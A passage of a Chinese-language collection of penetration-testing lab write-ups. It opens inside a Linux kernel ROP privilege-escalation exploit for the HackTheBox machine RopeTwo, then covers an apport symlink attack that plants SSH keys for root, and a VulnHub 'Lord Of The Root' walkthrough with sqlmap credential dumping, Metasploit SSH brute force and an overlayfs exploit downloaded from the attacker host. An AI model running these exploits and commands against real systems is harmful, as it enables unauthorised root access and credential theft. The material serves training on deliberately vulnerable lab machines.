    size_t xchg_esp_eax = 0x368c08 + kernel_base;
    uint64_t *fake_tty_ops = malloc(248);
    fake_tty_ops[4] = xchg_esp_eax;
    output[0x83] = (uint64_t)fake_tty_ops;
    write_buf(id, 0x420, output);

    uint64_t new_stack = xchg_esp_eax & 0xffffffff;
    uint64_t *st_ptr = new_stack;
    int st_idx = 0;

    // Set Permissions
    mmap((void *)(new_stack & 0xfffff000), 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);

    // Offsets
    uint64_t ret = 0x0001cc + kernel_base;
    uint64_t pop_rdi = 0x08b8a0 + kernel_base;
    uint64_t prepare_kernel_cred = 0x0c07a0 + kernel_base;
    uint64_t pop_r8 = 0x4875b2 + kernel_base;
    uint64_t pop_rdx = 0x03bbc2 + kernel_base;
    uint64_t mov_rax_rdi_cmp_pop_rbp = 0x12e597 + kernel_base;
    uint64_t commit_creds = 0x0c0540 + kernel_base;
    uint64_t swapgs_pop_rbp = 0x074b54 + kernel_base;
    uint64_t pop_rcx = 0x405ea6 + kernel_base;
    uint64_t pop_r11 = 0x54c2d5 + kernel_base;
    uint64_t sysretq = 0x075444 + kernel_base;

    // ROP
    st_ptr[st_idx++] = ret;
    st_ptr[st_idx++] = pop_rdi;
    st_ptr[st_idx++] = 0;
    st_ptr[st_idx++] = prepare_kernel_cred;

    st_ptr[st_idx++] = pop_r8;
    st_ptr[st_idx++] = 0;
    st_ptr[st_idx++] = pop_rdx;
    st_ptr[st_idx++] = 0;
    st_ptr[st_idx++] = mov_rax_rdi_cmp_pop_rbp;
    st_ptr[st_idx++] = 0;
    st_ptr[st_idx++] = commit_creds;

    st_ptr[st_idx++] = swapgs_pop_rbp;
    st_ptr[st_idx++] = 0;
    st_ptr[st_idx++] = pop_rcx;
    st_ptr[st_idx++] = &shell;
    st_ptr[st_idx++] = pop_r11;
    st_ptr[st_idx++] = 0x0;
    st_ptr[st_idx++] = sysretq;

    // trigger ROP
    printf("[*] Triggering ROP\n");
    close(ptmx);
    printf("[-] Exploit failed.\n");
    return 1;
}
```

有时候会失败，但多运行它几次似乎会get shell:

``` bash
root@kali# gcc -w -o exploit exploit.c ; scp -i id_rsa exploit r4j@10.10.10.196:/tmp/exp
exploit                        100%   17KB 532.3KB/s   00:00 
```

``` bash
r4j@rope2:/tmp$ ./exp
[+] Identified ptm_unix98_ops address: ffffffffa1caf6a0
[+] Identified kernel base address:    ffffffffa0c00000
[*] Using slot 1
[*] Triggering ROP
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/root.txt
13153a2c6742569c92f7c15be2e249e5
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb-rope2-getroot3.jpg)

#### Extra - 非预期获取root的方法

#### 寻找漏洞

第一个解决这个问题的团队使用了一条被HTB团队迅速修补的意外路径。他们发现的漏洞让他们从chromeuser转到一个漏洞的root。这个团队的一个成员jkr帮助重新创建了这个漏洞。

这个box于2020年6月27日发布。在apt日志中，两天后的6月29日，apport被删除了:

``` bash
root@rope2:/var/log/apt# zcat history.log.1.gz 

Start-Date: 2020-06-03  12:00:07
Commandline: apt install ifupdown
Install: ifupdown:amd64 (0.8.35ubuntu1)
End-Date: 2020-06-03  12:00:09

Start-Date: 2020-06-29  18:40:31
Commandline: apt purge apport
Purge: apport:amd64 (2.20.10-0ubuntu27.3)
End-Date: 2020-06-29  18:40:33
```

删除的版本是2.20.10-0ubuntu27.3。一些谷歌搜索显示[CVE-2020-8831](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8831)。现在作为RopeTwo上的root用户，可以重新配置机器，使其再次受到此路径的攻击。

#### 安装旧的apport

apport是一个用来[拦截崩溃并记录信息](https://wiki.ubuntu.com/Apport)的程序，这样就可以在不重新创建崩溃的情况下进行调试/故障排除。

要安装这个较旧的、易受攻击的apport版本，将使用apt。需要首先修复更新源文件:

``` bash
root@rope2:~# cat /etc/apt/sources.list
deb http://old-releases.ubuntu.com/ubuntu disco main universe multiverse restricted
deb http://old-releases.ubuntu.com/ubuntu disco-updates main universe multiverse restricted
```

因为RopeTwo机器不能直接与互联网通信，将通过我的burpsuite代理apt。在本地机器上更改了Burp，这样它就可以监听所有接口，而不仅仅是localhost:

``` bash
*:8080
```

还将设置http_proxy环境变量来告诉apt使用这个代理:

``` bash
root@rope2:~# export http_proxy=http://10.10.14.14:8080
```

现在运行apt update，然后apt install apport=2.20.10-0ubuntu27.3。

#### exploit
#### 背景

这里的漏洞利用了apport写入/var/lock目录的方式。该目录可由任何用户写入:

``` bash
chromeuser@rope2:~$ ls -ld /var/lock/
drwxrwxrwt 4 root root 80 Jan 15 16:27 /var/lock/
```

当出现segfaults时，apport将在该文件夹中创建一个目录apport，其中包含一个文件lock。漏洞在于它如何处理符号链接。将创建一个链接，将/var/lock/apport指向想写入的目录，如/etc/update-motd。d(在前面的回溯中已经展示了如何对这个目录进行写操作)。如果可以在该文件夹中获得一个可以写入的文件，然后使用ssh或su登录，那么它将以root身份运行。

#### 练习

作为chromeuser在以root用户重新安装apport后，进入/var/lock。目前没有apport目录:

``` bash
chromeuser@rope2:/var/lock$ ls
lvm  subsys
```

创建一个符号链接:

``` bash
chromeuser@rope2:/var/lock$ ln -s /etc/update-motd.d apport
chromeuser@rope2:/var/lock$ ls -l
total 0
lrwxrwxrwx 1 chromeuser chromeuser 18 Jan 15 19:01 apport -> /etc/update-motd.d
drwx------ 2 root       root       40 Jan 15 18:52 lvm
drwxr-xr-x 2 root       root       40 Jan 15 18:52 subsys
```

现在需要crash个东西。可以再次运行heap攻击，或者用信号11杀死某些东西

``` bash
chromeuser@rope2:/var/lock$ sleep 100000 &
[1] 3574
chromeuser@rope2:/var/lock$ kill -11 3574
[1]+  Segmentation fault      (core dumped) sleep 100000
```

这会在/etc/update-motd.d中创建一个新文件，最后一个，lock:

``` bash
chromeuser@rope2:/etc/update-motd.d$ ls -l
total 40
-rwxr-xr-x 1 root root 1220 Aug  6  2018 00-header
-rwxr-xr-x 1 root root 1157 Aug  6  2018 10-help-text
lrwxrwxrwx 1 root root   46 Apr 16  2019 50-landscape-sysinfo -> /usr/share/landscape/landscape-sysinfo.wrapper
-rwxr-xr-x 1 root root 4264 Aug 21  2018 50-motd-news
-rwxr-xr-x 1 root root   97 Apr  9  2018 90-updates-available
-rwxr-xr-x 1 root root  299 Aug 10  2018 91-release-upgrade
-rwxr-xr-x 1 root root  129 Apr  9  2018 95-hwe-eol
-rwxr-xr-x 1 root root  111 Nov 13  2018 97-overlayroot
-rwxr-xr-x 1 root root  142 Apr  9  2018 98-fsck-at-reboot
-rwxr-xr-x 1 root root  144 Apr  9  2018 98-reboot-required
-rwxrwxrwx 1 root root    0 Jan 15 19:02 lock
```

注意，它是world writable。

已经在/home/chromeuser/.ssh/authorized_keys中有公钥。将使用这个Bash脚本复制到/root/.ssh/authorized_keys:

 - getroot.sh

``` bash
#!/bin/bash

echo "pwned!"
mkdir /root/.ssh
cat /home/chromeuser/.ssh/authorized_keys >> /root/.ssh/authorized_keys
```

现在将SSH作为chromeuser再次触发MOTD脚本:

``` bash
root@kali# ssh -i ~/keys/ed25519_gen chromeuser@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jan 15 19:07:21 UTC 2021

  System load:  0.31               Processes:             317
  Usage of /:   41.7% of 19.56GB   Users logged in:       3
  Memory usage: 29%                IP address for ens160: 10.10.10.196
  Swap usage:   0%


71 updates can be installed immediately.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings


pwned!
Last login: Fri Jan 15 19:05:14 2021 from 10.10.14.14
chromeuser@rope2:~$
```

它上面写着“pwned!”就在提示符上方显示漏洞生效了。可以以root身份SSH连接:

``` bash
root@kali# ssh -i ~/keys/ed25519_gen root@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jan 15 19:08:09 UTC 2021

  System load:  0.26               Processes:             322
  Usage of /:   41.7% of 19.56GB   Users logged in:       3
  Memory usage: 29%                IP address for ens160: 10.10.10.196
  Swap usage:   0%


71 updates can be installed immediately.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings


pwned!
Last login: Fri Jan 15 19:05:25 2021 from 10.10.14.14
root@rope2:~#
```

 - Thanks for reading.

<font color="red">***Damn! Really a Journey to the Hell! Ha?***</font>

<!-- kb:end hackthebox-rope2-getroot -->

</details>

<a id="case-lord-of-the-root-1-0-1"></a>

## 端口序列与多种本地提权

从端口访问序列和 SQL 时间侧信道到本地执行，再分别分析 OverlayFS、SUID 二进制和 MySQL UDF。不同提权路径保留各自前提。

<p class="kb-provenance">来源 Lord-Of-The-Root-1-0-1 · 原记录 2020-01-24 · 43 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-lord-of-the-root-1-0-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Lord-Of-The-Root-1-0-1 -->

#### 名称

名称：Lord Of The Root: 1.0.1
发行日期：2015年9月23日

#### 下载

 - Download: http://www.mediafire.com/download/m5tbx0dua05szjm/LordOfTheRoot.ova
 - Download (Mirror): https://download.vulnhub.com/lordoftheroot/LordOfTheRoot_1.0.1.ova
 - Download (Torrent): https://download.vulnhub.com/lordoftheroot/LordOfTheRoot_1.0.1.ova.torrent

#### 描述

创建这台机器是为了帮助其他人学习一些基本的CTF hack技巧和一些工具。这台机器的难度与我在OSCP上遇到的难度非常相似。这是一个引导到root的靶机，不需要任何来宾交互。有两种设计的权限提升方法。

 - 23/09/2015 == v1.0.1
 - 22/09/2015 == v1.0



如果您在使用VirtualBox时遇到问题，请尝试以下操作：

 - 下载LordOfTheRoot_1.0.1.ova（确认文件哈希）
 - 下载并安装了VMWare ovftool。
 - 使用ovftool将OVA转换为OVF。
 - 使用文本编辑器修改了OVF，并执行以下操作：将所有对“ElementName”的引用替换为“标题”，将对“vmware.sata.ahci”的单个引用替换为“AHCI”
 - 保存了OVF。+删除.mf（清单）文件。如果不这样做，则在导入时会出现错误，说SHA与OVF不匹配（尝试过修改哈希，但没有成功）。
 - 尝试导入OVF文件，应该可以正常工作。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.113
Host is up (0.00022s latency).
MAC Address: 08:00:27:0B:D4:69 (Oracle VirtualBox virtual NIC)
```

``` bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
```

连接一下ssh试试

``` bash
root@kali:~# ssh 192.168.56.113
The authenticity of host '192.168.56.113 (192.168.56.113)' can't be established.
ECDSA key fingerprint is SHA256:XzDLUMxo8ifHi4SciYJYj702X3PfFwaXyKOS07b6xd8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.113' (ECDSA) to the list of known hosts.

                                                  .____    _____________________________
                                                  |    |   \_____  \__    ___/\______   \
                                                  |    |    /   |   \|    |    |       _/
                                                  |    |___/    |    \    |    |    |   \
                                                  |_______ \_______  /____|    |____|_  /
                                                          \/       \/                 \/
 ____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
        \/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3
Enter passphrase for key '/root/.ssh/id_rsa': 
root@192.168.56.113's password:
```

当搜索SSH时，它说``Knock Friend To Enter''和``Easy as 123''，然后要求输入我们不知道的密码。现在，这暗示着端口碰撞。试试看：

``` bash
root@kali:~# nmap -r -Pn -p 1,2,3 192.168.56.113 -v
PORT  STATE    SERVICE
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet
MAC Address: 08:00:27:0B:D4:69 (Oracle VirtualBox virtual NIC)
```

现在再次启动nmap扫描。希望这次的结果中有多个端口。

``` bash
root@kali:~# nmap -p- -A -v 192.168.56.113 --min-rate=10000
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
```

如所见，与我们之前的扫描相比，还有一个开放的端口，即1337，它有HTTP服务，这就是想要的，因为默认情况下80端口没有打开。让我们通过此端口打开目标IP。

``` bash
http://192.168.56.113:1337/
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub183.jpg)

如上所示，打开的页面仅包含一张图片，然后还检查了其源代码，但没有任何线索。通常，总是有一些将robots.txt文件放入网络目录的机会，因此，在渗透任何系统时，都应始终检查robots.txt文件。在这里，已经在地址192.168.56.113:1337/robots.txt中对robots.txt进行了测试，将打开一个新的网页，显示以下图片。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub184.jpg)

#### getshell

之后，我们查看了其源代码并找到了base64的编码值。

``` bash
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>
```

解码

``` bash
root@kali:~# echo "THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh" | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!root@kali:~# echo "Lzk3ODM0NTIxMC9pbmRleC5waHA=" | base64 -d
/978345210/index.php
```

访问以下的url

``` bash
http://192.168.56.113:1337/978345210/index.php
```

现在，有一个登录口。尝试SQL注入的帮助下登录，使用sqlmap。
由于不知道确切的用户名和密码，因此，使用SQLMAP进行基于登录表单的注入，通过执行以下命令来检索数据库名称和登录凭据。

时间盲注，好慢。。。最后，显示用户名和密码。

``` bash
root@kali:~# sqlmap -u "http://192.168.56.113:1337/978345210/index.php" --forms -D Webapp -T Users --dump --batch
Database: Webapp
Table: Users
[5 entries]
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | iwilltakethering | frodo    |
| 2  | MyPreciousR00t   | smeagol  |
| 3  | AndMySword       | aragorn  |
| 4  | AndMyBow         | legolas  |
| 5  | AndMyAxe         | gimli    |
+----+------------------+----------+
```

将所有这些用户名和密码保存在两个不同的文本文件中。并借助方法在SSH登录暴力破解使用此文本文件。执行攻击，请转到Kali的终端并通过键入msfdb run并进一步键入来打开Metasploit：

``` bash
root@kali:~/vulnhub/lordoftheroot# msfdb run
[+] Starting database
                                                  

      .:okOOOkdc'           'cdkOOOko:.                                                                                    
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.                                                                                  
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:                                                                                 
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'                                                                                
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo                                                                                
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx                                                                                
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl                                                                                
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.                                                                                
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc                                                                                 
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo                                                                                  
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl                                                                                   
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;                                                                                    
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.                                                                                     
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,                                                                                       
           :kk;.OOOOOOOOOOOOO.;Ok:                                                                                         
             ;kOOOOOOOOOOOOOOOk:                                                                                           
               ,xOOOOOOOOOOOx,                                                                                             
                 .lOOOOOOOl.                                                                                               
                    ,dOd,                                                                                                  
                      .                                                                                                    

       =[ metasploit v5.0.69-dev                          ]
+ -- --=[ 1959 exploits - 1094 auxiliary - 336 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.113
rhosts => 192.168.56.113
msf5 auxiliary(scanner/ssh/ssh_login) > set user_file /root/vulnhub/lordoftheroot/user.txt
user_file => /root/vulnhub/lordoftheroot/user.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /root/vulnhub/lordoftheroot/pass.txt
pass_file => /root/vulnhub/lordoftheroot/pass.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => true
msf5 auxiliary(scanner/ssh/ssh_login) > exploit

[+] 192.168.56.113:22 - Success: 'smeagol:MyPreciousR00t' ''
[*] Command shell session 1 opened (192.168.56.102:43037 -> 192.168.56.113:22) at 2020-01-25 12:36:48 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

得到正确的用户名和密码

``` bash
smeagol/MyPreciousR00t
```

此外，Metasploit通过提供远程系统命令shell（未经授权访问受害者系统）提供了额外的好处。现在开始渗透访问root权限。然后，要访问适当的TTY Shell，键入以下python一行脚本：

``` bash
msf5 auxiliary(scanner/ssh/ssh_login) > sessions 1
[*] Starting interaction with 1...

Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)

 * Documentation:  https://help.ubuntu.com/

                            .____    _____________________________                              
                            |    |   \_____  \__    ___/\______   \                             
                            |    |    /   |   \|    |    |       _/                             
                            |    |___/    |    \    |    |    |   \                             
                            |_______ \_______  /____|    |____|_  /                             
                                    \/       \/                 \/                              
 __      __       .__                                ___________      .__                   .___
/  \    /  \ ____ |  |   ____  ____   _____   ____   \_   _____/______|__| ____   ____    __| _/
\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \   |    __) \_  __ \  |/ __ \ /    \  / __ | 
 \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/   |     \   |  | \/  \  ___/|   |  \/ /_/ | 
  \__/\  /  \___  >____/\___  >____/|__|_|  /\___  >  \___  /   |__|  |__|\___  >___|  /\____ | 
       \/       \/          \/            \/     \/       \/                  \/     \/      \/ 
python -c 'import pty;pty.spawn("/bin/bash")'
smeagol@LordOfTheRoot:~$ id
id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
smeagol@LordOfTheRoot:~$ whoami
whoami
smeagol
smeagol@LordOfTheRoot:~$
```

#### 提权1:搜索exploit来提权

到达终端。在这里，键入以下命令以了解内核的版本：

``` bash
smeagol@LordOfTheRoot:~$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.3 LTS
Release:        14.04
Codename:       trusty
```

版本是14.04，幸运的是，对此版本有一个exploit。在Kali终端中，搜索以下类型的漏洞：

``` bash
root@kali:~# searchsploit ubuntu 14.04
---------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                    |  Path
                                                                                  | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------- ----------------------------------------
Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation           | exploits/linux/local/37088.c
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation                       | exploits/linux/local/36782.sh
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 /  | exploits/linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ld | exploits/linux_x86/local/42276.c
Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Acces | exploits/linux/local/39771.txt
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | exploits/linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | exploits/linux/local/37293.txt
Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SM | exploits/linux/local/41999.txt
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation  | exploits/linux/local/39166.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privi | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race C | exploits/linux/local/47170.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escal | exploits/linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - L | exploits/linux/local/47169.c
NetKit FTP Client (Ubuntu 14.04) - Crash/Denial of Service (PoC)                  | exploits/linux/dos/37777.txt
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation   | exploits/linux/local/41762.txt
WebKitGTK 2.1.2 (Ubuntu 14.04) - Heap based Buffer Overflow                       | exploits/linux/local/44204.md
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation         | exploits/linux/local/36820.txt
---------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
```

选下面这个exploit，当然，自己也可以去尝试其他的exploit，我这里为了节约时间就不演示了。。。

``` bash
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation  | exploits/linux/local/39166.c
```

借助cp命令将漏洞exploit复制到当前目录，然后运行HTTP python服务器将其转移到目标计算机中。

``` bash
root@kali:~/vulnhub/lordoftheroot# cp /usr/share/exploitdb/exploits/linux/local/39166.c .
root@kali:~/vulnhub/lordoftheroot# ls
39166.c  pass.txt  user.txt
root@kali:~/vulnhub/lordoftheroot# python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ...
```

在shell中编译exp，然后赋予权限，运行生成的exp进行提权，可以看到提权成功，非常的简单

``` bash
smeagol@LordOfTheRoot:~$ wget http://192.168.56.102:8000/39166.c
wget http://192.168.56.102:8000/39166.c
--2020-01-25 18:52:13--  http://192.168.56.102:8000/39166.c
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2789 (2.7K) [text/plain]
Saving to: ‘39166.c’

100%[======================================>] 2,789       --.-K/s   in 0s      

2020-01-25 18:52:13 (575 MB/s) - ‘39166.c’ saved [2789/2789]

smeagol@LordOfTheRoot:~$ gcc 39166.c -o exp
gcc 39166.c -o exp
smeagol@LordOfTheRoot:~$ chmod 777 exp
chmod 777 exp
smeagol@LordOfTheRoot:~$ ./exp
./exp
root@LordOfTheRoot:~# id
id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
root@LordOfTheRoot:~# whoami
whoami
root
```

最后找到flag，挑战结束

``` bash
root@LordOfTheRoot:/root# cat Flag.txt
cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub185.jpg)


#### 提权2:利用SUID利用root拥有的二进制文件来获得root

导航到root目录，看到一个名为“SECRET”的目录。在此目录中，有3个“doors”，每个都有一个名为“file”的文件：

``` bash
smeagol@LordOfTheRoot:/$ cd SECRET
cd SECRET
smeagol@LordOfTheRoot:/SECRET$ ls
ls
door1  door2  door3
smeagol@LordOfTheRoot:/SECRET$ ls -lahR
ls -lahR
.:
total 20K
drwxr-xr-x  5 root root 4.0K Sep 22  2015 .
drwxr-xr-x 23 root root 4.0K Sep 22  2015 ..
drwxr-xr-x  2 root root 4.0K Jan 25 19:15 door1
drwxr-xr-x  2 root root 4.0K Jan 25 19:15 door2
drwxr-xr-x  2 root root 4.0K Jan 25 19:15 door3

./door1:
total 16K
drwxr-xr-x 2 root root 4.0K Jan 25 19:15 .
drwxr-xr-x 5 root root 4.0K Sep 22  2015 ..
-rwsr-xr-x 1 root root 7.2K Sep 17  2015 file

./door2:
total 16K
drwxr-xr-x 2 root root 4.0K Jan 25 19:15 .
drwxr-xr-x 5 root root 4.0K Sep 22  2015 ..
-rwsr-xr-x 1 root root 7.2K Sep 17  2015 file

./door3:
total 16K
drwxr-xr-x 2 root root 4.0K Jan 25 19:15 .
drwxr-xr-x 5 root root 4.0K Sep 22  2015 ..
-rwsr-xr-x 1 root root 5.1K Sep 22  2015 file
```

看到这些文件具有SUID并由Root拥有！如果可以利用这一点，那可能就是升级root的门票。检查每个文件，看到它们都是二进制可执行文件。但是,3个中的1个具有不同的sha1哈希：

``` bash
smeagol@LordOfTheRoot:/SECRET$ file door1/file door2/file door3/file
file door1/file door2/file door3/file
door1/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
door2/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped
door3/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
```

根据以前的经验，最好使用与其他2不同的二进制文件。此外，注意到在设置了一定时间后，二进制文件被切换到了新的door。为了解决这个问题，将文件复制到smeagol的桌面上以进行更一致的测试：

``` bash
smeagol@LordOfTheRoot:/SECRET$ cp door2/file /home/smeagol/Desktop/
cp door2/file /home/smeagol/Desktop/
smeagol@LordOfTheRoot:/SECRET$ ls /home/smeagol/Desktop/
ls /home/smeagol/Desktop/
file
```

运行此文件，看到它要求用户输入字符串：

``` bash
smeagol@LordOfTheRoot:~/Desktop$ ./file
./file
Syntax: ./file <input string>
smeagol@LordOfTheRoot:~/Desktop$ ./file A
./file A
```

看到这是vulnhub上的映像，可以假定该文件容易受到缓冲区溢出的影响。使用python来模糊文件并确认：

``` bash
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 100')
./file $(python -c 'print "A" * 100')
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 200')
./file $(python -c 'print "A" * 200')
Segmentation fault (core dumped)
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 150')
./file $(python -c 'print "A" * 150')
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 175')
./file $(python -c 'print "A" * 175')
Segmentation fault (core dumped)
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 160')
./file $(python -c 'print "A" * 160')
```

注意到当文件接收大约175个字符时存在分段错误。
为了获得更准确的计数，使用metasploit中的内置ruby脚本来创建175个字符的模式字符串：

``` bash
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 175
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A
```

采用以下字符串并通过GDB运行它，然后运行字符串：

``` bash
smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file
gdb -q ./file
Reading symbols from ./file...(no debugging symbols found)...done.
